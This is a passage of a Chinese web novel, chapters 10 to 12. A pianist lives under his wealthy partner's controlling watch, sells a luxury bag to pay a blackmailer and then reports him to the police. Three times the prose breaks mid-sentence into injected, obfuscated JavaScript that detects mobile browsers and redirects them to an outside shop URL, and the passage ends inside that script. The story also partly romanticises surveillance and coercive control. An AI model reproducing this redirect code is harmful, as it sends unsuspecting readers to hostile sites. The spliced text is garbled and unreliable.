上次拿酒瓶子把王孝龙头敲了之后,被陆诏教育了。当然他没说不该打人,也没说遇到问题不能用暴力解决,他就虞清念“不知道玻璃碎片很危险万一划伤手怎么办”教育了自己一晚上,所以虞清念现在在斟酌到底要不要顺从自己的心,把面前这个喋喋不休烦人的苍蝇拍死。 “当然,如果你求一下我的话,说不定我会带你进去,见识一下真正的学术大佬是什么样子。”王孝龙抱着胳膊依旧趾高气昂。 风吹起了虞清念的刘海,露出那双明亮的眼睛,他朝门口招了下手,原本冷的想杀人的烦躁表情一秒转变成淡然优雅的样子,他还是那个不食人间烟火的三好男神。 “清念,忘了跟你说会议厅号了,走,这次论坛赞助商还跟我问起你呢,你要不来我可没办法交代。”院长带着虞清念就朝门口走,完全忽视了站在旁边一脸惊讶的王孝龙。 “李教授,我、我最近在读您的书,我……”王孝龙这次来最想认识的大佬就是李院长,他在自己的研究方向领域首屈一指,结果院长像是根本没看见他这个人,带着虞清念转身就走,只剩他干巴巴的话语零落在空气里。 “等一下先生,这是vip通道,您不能进。”王孝龙跟着走到门口被人拦了下来,他望着虞清念远去的背影,顿时觉得面上发热。 不知道是不是之前头受伤转移到了腿脚,他双腿有些无力,幸好扶住旁边展板才稳下身形。 深蓝色展板上写着本次论坛的主题,下面一行小字写着承办单位是s大,协办单位是AI赋能研究所,最后一排战略合作伙伴一栏写的是:陆氏集团。 10. 第 10 章 清晨的阳光透过朦胧的薄纱窗帘洒进来,温和如同雾气,宽大的床上有个人睡得四仰八叉,手臂里抱着一只狐狸玩偶,但狐狸的脖子正被他死死卡在手肘里。 睡衣袖子翻上去一截,白瘦的胳膊露在外面,在皮肤最薄的大臂内侧软肉上,还有个已经不太明显的粉红牙印。 脖子上的吻痕深深浅浅交叠,他虽然穿着幼稚可爱的宽松睡衣,但整个人呈现出一种浸透了情爱的糜烂,脸颊肉由于侧睡的姿势被压的挤出一个小小弧度,安睡时恬静的清纯又中和掉了身上的情欲气息,像是勾引人却不自知的、刚化形的精怪。 陆诏走到床边看见少年还在赖床,提起一口气说:“已经喊你第二次了,还不起?” 虞清念挠了挠脸,翻了个身充耳不闻。 “今天九点不是和导师约好了要见面吗?你再不起要迟到了。” 陆诏坐在床边,首先把那个狐狸玩偶拽出来扔到一边,拉着少年胳膊往上提起几次,每次放手,虞清念就又像没骨头一般滑了回去。 重复几次后,陆诏简直都要被他气笑了,两手托住他的腋下把人彻底提起来靠在床头板板正正坐着,结果他坐着也能睡,直挺挺坐在那儿一动不动。 “再不睁眼,你这周的零花钱也别想要了。”陆诏道。 话音未落,虞清念就睁开眼皮,睡眼惺忪一脸无辜望着他。没有打理过的头发就那么凌乱又蓬松,单薄幼稚的睡衣穿在身上,完全没有昨天在学校讲座和论坛上游刃有余善于交际的精英样子。 他摊开手臂朝前伸,用还带着睡意的声音懒洋洋说:“抱——” 陆诏无奈摇头,把他从床上被子里抱出来,一路走到卫生间。 虞清念赤着脚踩在陆诏的拖鞋上,眼睛只睁开一条缝,还没完全醒神,嘴巴里就被塞进一支电动牙刷,震得他脑仁嗡嗡响。 “唔……说好就罚一个月的,不能说话不算话扣我零花钱。”他嘴巴里满是泡沫,还要含含糊糊说话,望向镜子里,发现身后男人正在刮胡子。 只穿着衬衫没有把扣系好的陆诏少了些压迫感,多了一丝懒散和居家,一手撑在洗手台上,一手刮胡子的样子充满了男性荷尔蒙,脸庞轮廓分明,犹如刀削,一双黑色的眼睛深邃而锐利,深不见底。镜子里面无表情十足冷感,但撑在洗手台的手却停在少年腰间的位置,怕他踩不稳滑倒。 虞清念含着牙刷说话,不小心咽下去了点牙膏沫子,连忙往外吐出呸了几声。 “我帮你好不好?”虞清念漱完口转身,背靠在后面的洗手台上,笑嘻嘻想要做点讨好人的举动,挽回他的零花钱,伸手要去拿男人的刮胡刀。 陆诏往旁边把手举高,盯着他嘴角白色的泡沫说:“太锋利,你会伤到手。” 虞清念一直都因为自己差一厘米一米八的事情耿耿于怀,虽然他不说,但对于陆诏这个快一米九的身高十分羡慕嫉妒,现在看他竟然利用身高优势碾压自己,边踮起脚去够边用力瞪着他说:“我又不是小孩子了!这点小事不会伤到手的。” 陆诏看着他嘴角没擦干净的白色牙膏泡沫,勾起唇,用一张温热的湿毛巾盖住了眼前这张脸。 “好了乖,不闹了,你真的要迟到了,小钢琴家的手不能做那么危险的事。”陆诏给他擦脸,柔软的毛巾轻柔蹭过脸颊,前几天留下的红痕已经消失不见,看不出踪迹,看起来依然是被好好娇养、被捧在手心的小钢琴家。 虞清念撇撇嘴,又在人脚上踩了一下,忽然想起来一般狐疑问:“你怎么知道我今天和导师约了见面?” 他光着脚被打横抱起,悬在空中踢动着小腿大声控诉:“你又看我手机了,陆诏!” “我都说了想要一些个人隐私,你不能总是动不动就看我手机,这是一种对我的不信任,我都不管你在外面怎么样,你凭什么管我那么多呀!” 被抱到餐桌前,虞清念拿刀切着盘子里的香蕉可丽饼,嘴里还在谴责着对方过分的行径,弯出一道月牙弧度的脚踩在椅子下面的横栏上,不停踩来踩去发出动静。 突然,不知听到哪句话,陆诏放下手里的咖啡杯道:“宝宝,你太吵了。” 沉下来的脸色让虞清念瞬间收声。 “我的手机你可以随便看,那么相应的,我也有看念念手机的权利,这很公平。”陆诏插起一块少年不喜欢吃的沙拉递到他嘴边,银色的叉子在他手里泛着冷光。 虞清念并不想看他的手机,也不想吃掉这块沙拉,他抿着嘴,眼睛里含着无声的拒绝。 “张嘴,别让我说第二遍。” 虞清念抓住垂下来的白色刺绣桌布,张嘴吃掉了那块沙拉。 陆诏把自己盘子里的煎芦笋插起一截,喂到少年嘴边,以一种哄小孩般的语气说:“别太挑食了,好吗宝宝?” 那根芦笋很长,没有切开,虞清念像兔子吃胡萝卜一样一点点机械吃进去,芦笋特有的健康味道让他有点反胃,接连吃了两个讨厌吃的蔬菜,嘴巴里都是涩的。 但他也听得懂陆诏真正想说的是什么,也懂言外之意,喝了一口牛奶送服下口中咽不下的东西,垂眼轻声说了句好。 “我今天要出差,大概一周左右回来,晚上把你这周的日程表同步给我,别再犯之前那样的错误。”陆诏抽了张纸巾,按在少年嘴边温柔擦拭着奶渍,“喝牛奶都能喝到下巴上,还说自己不是小孩子。” 虞清念点点头,手指蜷缩,说:“这段时间我要准备毕业独奏会和论文开题的事,所以在学校的时间比较多,既然你出差,那这周我能不能住学校宿舍?” 陆诏上下扫过他,“宿舍床那么小,你翻个身摔下来怎么办?” 不等虞清念说出反驳的话,男人接着道:“食堂的饭也不一定健康,而且那么多人挤在一个房间,念念你会睡不好的。早上很早就会被吵醒,和那么多人一起共用卫生间……” “我住家里。”虞清念妥协道。 陆诏擦了擦嘴,投去一个赞赏的目光,“这周让小刘开车跟着你,去学校也方便。” 虞清念表情一顿。 “不用,我打车就好了,不用那么麻烦的。”司机全天候跟着他,代表他的每一个行踪,去了哪儿、见了谁、什么时候见的、相处多长时间,陆诏全都会了如指掌。 这不是为了方便他出行,而是为了方便陆诏掌握他。 今天外面天气很好,窗户外面有小鸟清脆的叫声,它一会儿飞到树枝,一会儿停到树冠,很快就跳着飞走了,不见踪迹。 虞清念转头望向窗外的天空,云彩很远,天空很辽阔,但只是透过一个窗口看,这些都被框在那个不大不小的四方框里,看不到再远的地方。 “咚”的一声,陆诏的咖啡杯被搁置在桌面上,拉回了虞清念不知道飘向何处的思绪。 “宝宝,那天晚上那些对你来说不是惩罚,现在才是。”陆诏盯着他,深邃的眼睛让人看不见底,他平淡的语调听不出情绪,但虞清念却能感觉到他的平静语言下的危险。 陆诏算账,必须会让对方深刻感受到错误为止,既然喜欢穿破洞裸露的衣服,那就穿着极尽清凉的裙子玩到尽兴;既然在行踪上一再骗他,那就别想行动自由。 虞清念把手里的餐巾纸攥出褶皱,心里有些抵触,但还是抿唇笑着撒娇道:“我不喜欢小刘,等你回来我想让你送我。” 陆诏点头,袖口的纽扣被扣好,褶皱捋平,“就这一周。” 他看了一眼表,起身穿上外套就要出门,在门口临走的时候,转身对虞清念说:“之前你说想要的包,在卧室床头放着。” 门“咔哒”一声关上了。 什么包?他最近好像没跟陆诏说自己想要什么包吧?虞清念带着疑惑跑上楼,在床头柜子上摆放着一个橙色的盒子。他打开包装之后,里面放了一个黑白渐变的镶钻鳄鱼皮铂金包。 虞清念的手微微一抖,突然想起来了一件事。 上次他和陆诏一起窝在沙发上玩,付飞给他转发了一个八卦视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154655|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频,里面有个明星公开和女朋友谈恋爱还上恋综,第一期就被拍到他炫耀对女朋友多好,价值一套房的包也丝毫不眨眼地买,结果没几天宣布分手的时候,非要把这个包要回来,甚至把数额贴在上面告他女朋友非法侵占财产。 付飞和他连连吐槽这个男明星人品不行,两人一起八卦这个爱谈恋爱的男明星情史,虞清念笑得前仰后合。 陆诏见他合不拢嘴,凑过来看是什么东西那么有趣,虞清念跟他介绍了一下男明星low到爆的行为后,顺嘴提了一句:“不过那个包还真挺好看的,让两个人撕破脸也要争抢哈哈哈哈哈。” 他只是开玩笑顺嘴提了一句,没想到陆诏真的放在了心上。 虞清念不了解包的款式,对手下这个包的了解只有天天和那个男明星一起挂在热搜上刻烟吸肺的天文数字。 他低头看了眼上面的钻石,打开包后,里面是一张手写的卡片。 “祝贺念念得奖。”简洁的祝福,熟悉的笔迹,一眼就看出是陆诏的手笔。 虞清念盘腿坐在床上,一时间心中五味杂陈。 有人说,看一个人付出,不应该看总量,而应该看他付出的东西在他拥有的里面中的比重。比如一个只有十块的人给你九块,就比拥有一千的人给你一百要珍贵。 但事实上,计算付出没那么容易。 就算陆诏给他的只是九牛一毛,但实际付出的数是这些就是这些,不会因为他有钱就会变少、变得轻飘飘。 反而,他给自己的,都是一些在别的地方很难得到的。 房间里淡淡的香气舒缓了虞清念刚刚在餐桌前紧张的精神,这款放在卧室的香薰是国外一家专门研究睡眠和放松的公司推出的产品,国内很难买到,但他睡觉不太容易,所以陆诏当初费了些功夫,从床垫到被子枕头,从房间的灯光到助眠香薰,全都按照他的喜好换了新的。 钱只是一部分,但心力的确是大大花费了。 陆诏这个人,想给他舒适让他开心的时候,愿意付出很多,但想要让他不高兴,也最知道用什么方法。 虞清念摸着手上的包,把里面的卡片收到了抽屉里面,在往回走的时候,突然发现自己的狐狸玩偶掉在了床尾的地毯上,他明明睡觉的时候要抱着才能入睡的,但早上起来总是会不见踪迹,之前一直以为自己睡觉不老实,但有一次他醒的早,才发现是陆诏会偷偷把狐狸玩偶从他怀里扯出来扔走,他不允许有东西比他还更亲近虞清念。 这个神经病! 虞清念暗骂一声,把狐狸玩偶捡起来拍了拍,端端正正摆在了两个枕头中间的位置。 他躺在床上边消食边打开手机,猛地看了眼时间,发现离九点还远,心中又骂了一句陆诏,默默打开小绿书搜索怎么不动声色炫包。 三楼阳台,小圆桌上摆满了漂亮精致的早餐,缤纷的颜色鲜艳又令人食欲大开,在角落里堪堪露出了新包的一角,不仔细看甚至发现不了,但是懂行的人却能看出那个包的价值,就那么被他随意放在餐桌上,仿佛随手一搁,不是什么放在心上的东西。 【有时候简单的早餐也能开启一天活力满满。】 虞清念确保自己把王孝龙勾选可见后,把朋友圈发了出去,狠狠把手机倒扣在桌子上。 就这样对着自己精装修的朋友圈羡慕去吧!哼! 阳台上微风吹来,竟然带来一阵淡淡的花香,虞清念转头看去,一枝枝玫瑰花被修剪整齐,倒着悬挂在阳台上,像是花做的风铃一般,正在风干成可以永久保存的干花。 这是酒吧那天晚上自己送陆诏的那一束,他第一次送人的花。 家里的保姆领班正好来收拾阳台,虞清念叫住了她。 “张姨,这些花……是你晒的吗?”他语气有些犹豫。 张姨来到阳台门外,笑着说:“不是,是先生弄的,还叮嘱我们记得下雨要收回来。” 虞清念抬起眼睛,一朵朵红色的玫瑰在阳光下,像是跳动不停的心脏。 11. 第 11 章 一辆低调的黑色车停在s大行政楼前,虞清念匆匆忙忙从后座跑下来,拎着手里的包就朝楼里冲。 “小少爷!您有东西忘了拿。”司机小刘刚要关上车门,就看见后座遗落的手机,连忙喊住一溜烟就要消失不见的虞清念。 看着飞速追上来递到自己面前的手机,虞清念轻轻挤出一个笑来,皮笑肉不笑说:“真是谢谢你啊。” 小刘依然是那副恪尽职守的样子,弯了下腰道:“小少爷客气了。” 还好你细心,万一我手机丢了的话,联系不上你可就怪不了我了。 虞清念在心里默默遗憾自己的计划没能成功,对着小刘低下的头瞪了一眼,转身朝行政楼走去。 “梅老师,我来了。”虞清念推开办公室的门,跟他的论文指导老师打了声招呼,很自然地在一旁坐下。 论文开题报告被他从包里拿出来,摆在了桌子上。 被他称为老师的人三十多岁,看起来很年轻,抬眼看向他时说的第一句话,就能让人感觉的出来是个随和的人。 “不着急,这是我上周从英国带回来的茶,你尝尝看。”他从柜子里拿了个杯子,倒出热气腾腾的茶水来。 虞清念接过尝了一口,喝不出什么所以然来,只是笑着说:“很香,但我对茶叶不是很了解,只会说好喝。” 梅颂之也笑了笑,拿起桌子上的开题报告翻看,一边说:“你上次奥利兹比赛的评委,有一个是我研究生时期的学长,跟我说了很多夸赞你的话,小虞你是从几岁学的钢琴?” 虞清念把茶杯放下,说:“十二岁。” “那么晚?”这是梅颂之没料到的答案,因为大多数想走音乐道路的人从孩童时期就会启蒙,家长早早就做好规划,s大作为国内顶尖的艺术院校,能进来的学生大多都是从小念音乐附小、附中一路过来的。 “那也很厉害了,你很有天赋。” 虞清念垂下眼睛笑了笑。 正常小孩五六岁开始学,但他爸在他上初中才发家,五六岁时他还在田间乡野奔跑疯玩呢,根本不知道钢琴是什么。 那时候他们一家暴发户骤然挤进海市,对上流社会圈子一定适应不了,所以让他学钢琴,一方面是想在外充面子,另一方面也是想靠他拿到名利场的入场券。 钢琴于他,一开始是不纯粹的,他完全是被逼着学的,一个个黑白的按键是通往海市上层镀了金的入场券,他的钢琴越弹越好,他爸的生意也越做越大,但是,一个曲子不弹到最后,没有人知道后面会是激昂的篇章还是戛然而止。 “很多人都这样说。”虞清念嘴边露出小小的梨涡,不谦虚的同时带着一丝所有天之骄子身上会有的傲气和自信,他有天赋,每一个老师都那么说。 梅颂之瞥他一眼,轻轻摇头笑了。 他也是从小学钢琴一路走上来的,见的大多数同学老师都是虞清念这种人。家里有资产,不需要他挑大梁,而本身又有音乐天赋,这种人从小到大顺风顺水,吃过最大的苦就是练琴的苦,他们张扬自信又清高,但又不过分张狂,对每个人都有着恰到好处的礼貌。家世和天赋,足够让他们一直闪耀在音乐殿堂,做那颗需要所有人仰望的明珠。 不经意看见撇在沙发上的铂金包,梅颂之纵使见过不少世面,还是顿了顿,望着虞清念调侃道:“这个包用来装书,会不会太过奢侈了?” 陆诏走后他在家磨磨蹭蹭,总算真的要迟到了才出门,匆忙之间就顺手拿了手边的包,大小正好能装下今天所需的材料。此刻正被随手扔在沙发上,镶嵌的钻石在阳光下折射出耀眼的光。 虞清念转头望去,面上依旧是平静的,带着恰到好处的疑惑问:“很贵吗?” 一副不谙世事不被金钱沾染的模样,恬淡又纯真。 梅颂之被他这副样子噎了一下,突然感觉自己手里的茶没那么香了,“因为某个明星,被炒到天价了,很难买。我有个做奢侈品生意的朋友,最近很多人都想得到一个来彰显身份,以此为权力和财富的体现。”他很快又转移了话题。 “开题报告大方向上没什么问题,就是这里…” 虞清念单手托住下巴,半趴在桌上,看着老师指出问题的地方,边点头边跟他讨论。 交流完毕,梅颂之从旁边拿出一张表放到虞清念面前,“刚才我说很欣赏你的那个同门师兄,近期要来s大开大师课,你有兴趣可以填张报名表,但是名额不多,要参加选拔。” 虞清念顺手拿过表来,睁大眼睛说:“是劳克斯先生?我很喜欢他!老师你竟然认识劳克斯先生!” 他的眼睛瞬间亮起来,整个人像是被注入了奇异力量一般,猛地跳起来举着那张表,满脸都是不可置信。 “是,机会难得,消息还没有公开,小虞应该多谢我吧?”梅颂之略一挑眉。 劳克斯是华莎大学教授,肖邦音乐的权威诠释者,一举成名也是因为他十三岁的时候获得奥利兹金奖,这是奖项成立两百多年来最年轻的获奖者,一度被新闻报道为不世出的钢琴天才。 但是虞清念喜欢他是因为他的音乐造诣,对方之前全球巡演到中国的时候,每一场他都去看过,每次钢琴琴声在他指下响起,虞清念都会觉得自己回到了当初,一切还没破碎之前。情感随之沉沦摇曳流淌,陷入演奏会的世外桃源。 听劳克斯弹琴,他会进入到某种心流状态,忘却世间的所有嘈杂和烦恼,心中只有连续的音乐和营造出的情感画面。 如果每个人在自己专业领域上都有个一直以来的目标和偶像,那么劳克斯无疑就是虞清念钢琴道路上的领航者。当然,因为他出众的才华和绅士的气质,也是无数音乐学子心中的榜样,这样的大师课无疑会是竞争激烈的。 不过内心对劳克斯的私人情感,他从来没有跟别人说过,他仅仅只是把劳克斯每一场比赛、每一场演奏的曲谱放在私下一遍遍练习,希望自己能有朝一日沾染上几分大师风范罢了。 虞清念当即就拿起桌上的笔填写报名表,动作一笔一划格外细心,等填完开头的信息才抬起头,对梅颂之笑道:“多谢老师!家里也有些茶,等下次拿来一些和老师一起品尝,我不太懂,喝了也是浪费。” 梅颂之道:“你能好好学习有所成就,就是对老师最大的感谢了,如果能进入大师课,再请我喝茶也不晚。” 虞清念作为后起之秀,这两年无数资源能力堆砌上去,又肯努力,已经远超那些从小就被打造了钢琴天才光环的同龄人,前途不可限量。他这个时候卖对方一个好,就是想做个顺水推舟的人情罢了。 “我一定会全力以赴。”虞清念握着笔,阳光洒在他的侧脸上,像是镀了一层金光。 放在桌上的手机响起震动,虞清念翻开看了一眼,视线又落回到梅颂之身上,跟他告辞。 “回去把我跟你说的地方再修改一下,就可以开题了。”梅颂之很贴心朝他挥了挥手。 虞清念道了声谢,推开门接通了电话。 “喂…”他走出行政楼大门后顺着花坛的路沿石小步走,还没说出第二句,对面就传来气喘吁吁的着急声音,“念啊!老子遇到麻烦了,如果上官旭找你,你就说不知道我去哪儿了,近期也别和我联系,我得躲他一阵。” 跑动声和喘息声从手机听筒里传来,虞清念皱起眉毛看了一眼通话页面,“怎么回事?付飞,付飞!” “……情债,没事,就是上官旭这个狗日的黏上我怎么也甩不掉了,陆诏都他妈交的什么朋友!” 虞清念刚想再说什么,电话“嘟”的一声挂断了,少年眉毛拧起,觉得他简直莫名其妙。 “嗡——”手机震动再次响起,虞清念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154656|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想都没想就接通,对着手机那头提高声音说:“到底怎么回事,你都不说清楚就挂我电话。” 对面是一片诡异的沉默,在虞清念刚想开口问的时候,一道带着压抑过后依然狂热的声音通过手机传来:“虞学长,刚刚在和谁打电话?我都打不进来。”阴森森的声音像是冷湿还在滴水的抹布。 …… 虞清念的汗毛突然立了起来,他没出声转过手机屏幕,上面的来电显示不是付飞,而是一串陌生号码。 “别急着挂电话,学长你看看短信,再考虑一下。” 屏幕上方突然弹出几条彩信,虞清念点开后,是几张熟悉的图片,地点不同,但有一点相同,这些照片里都有自己。 咖啡厅窗边,他和三个不同的男人亲密互动的样子被错位拍了下来,明明他和男仆玩的时候没有过分接触,但拍摄的角度很刁钻,又拥抱又贴脸,还有看起来貌似亲上的借位图。 钢琴前,他穿着白色毛衣带着微笑接过一个女生送来的花,那个女生一脸害羞,而自己却笑得很开心。 夜晚酒吧停车场,他被陆诏抱着塞进车里,他们两个人的接吻照片明晃晃呈现在手机里,甚至还有陆诏把手伸进自己破洞裤里摸腿的特写镜头。 每一张都能看清他的脸,想抵赖都无从说起。 “学长,我真以为你是什么高岭之花,结果私下玩的比谁都花,你私生活乱成这样,对得起我对你的喜欢吗?啊?那些奖项那些资源,不会也是你这样睡出来的吧?”对方好像突然暴怒,朝虞清念怒吼出来。 虞清念往不远处瞥了一眼停在路边的车,调转脚步往另外的一条路走,平静问:“你想怎么样?” 对方冷笑几声:“我要曝光给媒体,让大家都看看高雅钢琴王子私底下的真面目!” 他加入文艺协会的事情已经在走流程了,如果在这个时候爆出不雅新闻,之前的努力就白费了。当然如果陆诏知道,肯定会帮他的,但是比起自己的风评变差,他更怕陆诏看见。 别人碰他一下,陆诏都会不满,更别提他又被搂又被摸脸又被别的男人抱的,自己因为在自拍还笑得很甜。加上那束二手玫瑰,陆诏那么珍视自己第一次送他的花,想要永久保存起来,如果他知道那是别人送给自己,又被转手才给他的,陆诏一定会生气,一定会。 虞清念把路边的一颗小石子踢走,提着包前后轻甩,“说说你的条件吧,怎么样才能销毁照片。” 男人压抑着怒火说:“和我在一起,做我男朋友。” 虞清念笑了出来,声音带着轻慢的讽刺,“你都看到了我是什么人,和我在一起你只会戴上一顶接一顶的绿帽子。” “你这个贱人!虞清念你怎么会是这样一个人尽可夫的……” “封口费,你随便提,过了这村没这店,要不要看你自己。”虞清念坐在草坪的长椅上,面无表情打断了他对自己恶毒的侮辱,“或者你就曝给媒体,大不了同归于尽,你试试看是我先死还是你先死。” 他摸着包上的钻石,眼底全是冷静和锐利。 对面沉默了很久,没想到虞清念看到这些照片还能那么刚,这和他平常的人设并不相符。 本来以为虞清念会重视自己的个人形象受他威胁,任他摆布,结果并不是这样,他反而被虞清念牵着鼻子走。 虞清念和那些徒有其表的有钱人家少爷不一样,身上不是不食人间烟火的仙气竟然隐隐有匪气。 “我要三百万。”沙哑的声音从听筒传过来。 虞清念看着手机屏幕上亮起的录音按钮,嘴角勾起一抹笑,语气却是慌乱的:“说好的,给你三百万就要把照片删掉,不能说话不算话。” 轻轻的脚步声从身后响起,虞清念猛地一转头,看见了不远处的小刘,不知何时已经从车上跟着他来到了草坪上。 12. 第 12 章 “少爷。”小刘见虞清念发现了自己,还是站在那个位置没动。 虞清念眼睛转了转,朝他招了招手。 小刘从不远处走了过来,双腿分开站立,左手抓着右手手腕置于前方,弯腰听见虞清念说:“我饿了,你陪我去吃点饭。” 蓬松柔顺的头发经风一吹,弥散开无花果的香气,虞清念坐在长椅上,衣摆散开、眉眼如画,笑意盈盈望向他。 “是。”小刘点头,还是程式化的回答,做人一如他的工作,死板、不近人情,把虞清念的一举一动都会如实上报。 虞清念拿着手机往前走了几步,忽然回过头指使道:“我的包忘了拿,你帮我拿过来。”他指指前方的长椅,使唤人的样子格外熟练。 小刘按他说的取回包,但少年却没伸手去接,“挺沉的,你拎着好了,我手腕痛。” 不是什么为难人的活,况且他的手是陆家上下优先级最高的东西,和家里保险柜的等级都差不多,小刘自然不敢让他自己拎。 车子朝着附近的商场驶去,虞清念坐在后面点开微信,找出之前加的那个AAA二奢李姐,发了张图片过去。 【nian】:这个包你们收二手吗?只背过一次,预估价多少? 【AAA二奢李姐】:帅哥!财神爷!这个还得看具体成色,这边预估二百四到二百六十万。 【nian】:别以为我不知道行情啊,我着急用钱不得已出手,一口价三百万,可以的话今天就可以交付。 【AAA二奢李姐】:方便上门吗?我们需要先验过包再谈。 虞清念给她发了一个餐厅位置过去,抬头望向后视镜里司机的脸,说:“在前面那家淮扬菜馆把我放下就行。” 车渐渐停下,虞清念对着后视镜整理了下头发,眼神移动间,和小刘对上了视线,对方骤然移开目光。 “下去陪我一起吃点?你喜欢吃淮扬菜吗?”虞清念从后面探头,声音放缓的时候,尾音发软,语气灵动,像是撒娇一般。 小刘还是那个冷冰冰的语气:“少爷,这不合规矩。” 虞清念冷笑一声,“不去就在车上坐好了,别等我吃到一半,转头发现你又在我身后像个摄像头一样,是陆诏让你寸步不离跟着我的吗?” 小刘沉默,而后为刚刚的失礼向虞清念道歉。 他话音刚落,就见虞清念摆摆手,拎着包下车走进了那家餐厅。 快到午饭时间,人渐渐多了起来,这家餐厅是复古设计,木头餐桌仿古宫灯还有隔开座位的屏风都很有古韵。虞清念坐到靠角落的一个桌子前,拉开的屏风挡住了外面的人和视线。 他把包放在桌子上,低头看菜单,等到菜差不多上齐,李姐也来了。 “这、这这!”李姐带着白手套抚摸包上的五金配件,从里到外反反复复检查着,眼中放光,那是对金钱的渴望。 虞清念只拍了几个清淡的菜给陆诏发过去,表示他有在好好吃蔬菜,然后分了些眼神给李姐,问:“怎么样?” 李姐像看财神一样看着他,也很真诚:“说实在的,您现在出手是会亏的,这款包水涨船高,且已经不流入市场,之后一定会升值。” 虞清念给她倒了杯茶,轻笑道:“但是我比较着急用钱,你就说三百万行不行。” 李姐点头:“没问题,我这边有一堆客户都想收这款包。” 虞清念把那个神经病学弟的银行账户转发给李姐,让她把钱直接打到这个卡里,然后把与他们之间的聊天消息全都删除。 桌上悬挂的宫灯晕开暖黄色的灯光,打在菜上显得格外诱人。这家蟹粉狮子头做的很好,虞清念之前和陆诏经常来,但是一个人吃饭总是没有两个人一起吃那么有胃口,他只吃了一半就放下了勺子,拿筷子兴致缺缺拨弄着鱼肉里的刺。 陆诏飞机起飞前有给他发消息,但是落地还没有报平安。 虞清念查到了那个航班的到达时间,已经过了点了,难道延误了吗?他用手指尖敲着茶杯外壁。而且自己还点了好多蔬菜,陆诏看到照片应该夸自己才对啊,是没看见还是不想回复呢?不会飞机失事了吧?那他的遗产会归谁?自己不是他法律上的配偶,应该拿不到多少钱吧,这可不行啊! “叮咚——”手机特别关注的联系人发来消息,虞清念点开对话框,默默念道:“没死就好。”脸上露出了连他自己都没意识到的笑容。 【陆诏】:就吃这些? 【nian】:很健康吧,维生素很多吧! 虞清念脸上带着得意,等着对方夸奖,但比夸奖先来的是银行转账短信。 【尾号8888卡收入(他行转账)五万元。】 【陆诏】:不挑食的小朋友有奖励,这周零花钱,多吃点肉,营养均衡。 虞清念表情一顿,自从他父母去世后,关心他吃饭是不是营养均衡的人,只有陆诏一个,甚至比虞清念自己都要关心他的身体、他的爱好、他的人生事业发展、他的心情好坏。 他盯着那条微信,缓慢敲击出一个好字。 左手边冒着热气的稻草扎肉一口没动,他刚刚嫌烫,现在温度正好。炖的酥烂的五花肉入口即化,甜咸交织,层次分明。 之前说觉得自己是陆诏手中的芭比娃娃,没有自由被限制在掌中方寸之地,但关心和控制,是一体两面,终究离不开在意二字。 被人如此放在心上施加全部的在意和目光,无疑是令人心动的。这种感觉就像被那根稻草绑住的肉,被捆住料理才不会形神俱散,最终酝酿出甜蜜香酥的滋味,但随着时间推移,肉块本身也留下了磨灭不去的勒痕印记。 本来早上因为逼他吃蔬菜的事觉得对方讨厌,但是现在,感受却变得复杂起来,如果想要那双牢牢看着自己的眼睛不要离开,那么本身就要忍受被注视带来的不适,天底下没有绝对获利无害的好事。 头顶的宫灯散发柔和的光晕,打在发顶,浓密的睫毛下投射出一排影子。 虞清念想起来,稻草扎肉是陆诏喜欢吃的,自己之前一直嫌太腻,不大爱吃,刚才点单的时候不自觉顺手就点上了,根本没过脑子,习惯真的是一件很神奇的东西。 他拿起筷子又吃了一块,但等咀嚼到第二次时,那股子从胃里涌上来的腻让他把肉吐了出来。 不喜欢就是不喜欢,逼自己说这个好吃,也还是不喜欢。 虞清念放下筷子,接到了李姐转账成功的消息。 他喝完最后一口碧螺春,拿起手机拨打110。 “警察叔叔吗?我刚刚被敲诈勒索了,嗯…三百万,是的没错。” ———— 华灯初上,四面拱形落地窗做了抬高,镶嵌在别墅一楼圆形拐角处,一架钢琴摆在窗前,白色的轻纱窗帘随着微风扬起,飘在空中像是乳白色的烟雾。 虞清念坐在琴凳上练着琴,眼睁睁看见窗外的绿意景色逐渐被黑夜笼罩,高处的水晶灯层层叠叠,像是倾泻而下的瀑布,柔和的光照在钢琴琴键上,纤细修长的手指不断在黑白琴键上舞动,从音乐中也可以感受到弹琴人心情良好。 黑色的短发在微风中微微飘起,少年后背挺直露出一截光洁的脖颈,身体随着动作摆动,优雅又随意,琴音如同远山云雾,朦胧悠远。 一曲结束,虞清念站起身看向窗外,活动了下有些酸的手指,一转头,看见张姨端来了盘水果,站在门口露出赞叹的表情。 “小少爷,你弹得实在是太好了,我不懂欣赏什么音乐,也觉得听了很开心。” 虞清念露出笑容,盘腿坐在沙发旁边,捏起叉子吃了个草莓,酸甜的味道瞬间浸润心脾。 他对今天弹琴的手感也很满意,靠在垫子上打开手机查看了下消息,三个小时没看,其中有一个群聊已经99 +了。 “正上着课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 